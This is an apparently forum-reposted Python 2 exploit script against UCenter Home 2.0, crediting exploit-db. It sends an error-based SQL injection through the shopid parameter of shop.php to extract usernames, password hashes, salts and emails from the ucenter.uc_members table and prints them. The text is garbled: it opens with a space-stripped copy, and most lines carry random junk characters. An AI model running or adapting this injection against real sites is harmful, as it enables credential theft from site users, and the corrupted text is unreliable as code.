#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
_9 V! m* Y# W# o
9 j) O" | a$ M, R
! w! o8 K$ m0 X1 `#!/usr/bin/env python
7 k4 V4 G* I8 o4 L; T8 C) ^0 Q # V' ~) f0 T- d; W! Y$ S
import sys
6 X. F% I7 Q& _( l$ Bimport urllib2 " Y8 l- ~2 v( \1 q" ?
import re $ _6 E$ U8 G0 U
3 g) o6 Y# b3 A8 J; i% Cdef info():
/ J# Q$ e l* M% m% }8 m print 'From:http://www.exploit-db.com/exploits/14997/' , Q( K, m% ?/ `) _4 X- I
print 'http://www.hake.cc/Web_loudong/' 5 _2 U* m4 p9 c* x
print 'changed:qiaoy' 4 a, R6 Z4 z( ?: S" y3 f5 ]/ ^% x( V
print 'exp:'
& B4 j& C5 @' B print ' ./UCenter_Home_2.0.py site'
1 m: c/ F/ N8 l0 l, i4 \0 t8 O 1 x' W0 f" o4 _4 i: y0 K. x
def main(): ) x, p' `. m+ ^" E
if len(sys.argv) != 2:
5 ^8 e4 M/ ^( }# {. E info() $ f7 s8 k% U- Z: B# f
else: . n1 J* ~0 }; J- h
site = sys.argv[1] 3 H, \- E9 Y- } K
if site[0:7] == 'http://':
. O( D7 u- b N3 e) B sitesite =site * _' z8 m7 h* S9 E# m
elif site[0:8] == 'https://':
- J+ h# n! c; \ sitesite = site ! f* }/ X$ o+ I
else:
( m+ n& [+ d/ B- B! [7 B site = 'http://'+site
) Z% k. {' ]% c1 s- d X( Z try: $ {. [; S- g- {3 J
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 6 r1 m1 N/ X: j# g5 T/ K' }! j
Value = urllib2.urlopen(url).read()
# h# l+ u) R5 S6 y( g6 K Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
6 d6 y' v! ` v R a hacked = Msg.split(':') $ s$ d4 t1 {, r
print 'Name: '+hacked[1]
: K8 j: j4 H. C, ? print 'Passwd: '+hacked[2] 1 l( N9 d# Z0 a3 Y1 L ?1 \# |
print 'salt: '+hacked[3] # `2 n0 n) e; C9 m3 X
print 'email: '+hacked[4] / T, Q5 M# v- I, v( R. i
except: ' W: m0 |; C: B7 ?( n
print 'Sorry,I can\'t work............' . L- @4 J, @; S9 w3 f1 n, T
8 i# t! {/ p! a) D. e
if __name__ == '__main__': 3 U+ F9 h: {0 p- U5 I/ G6 E
main() |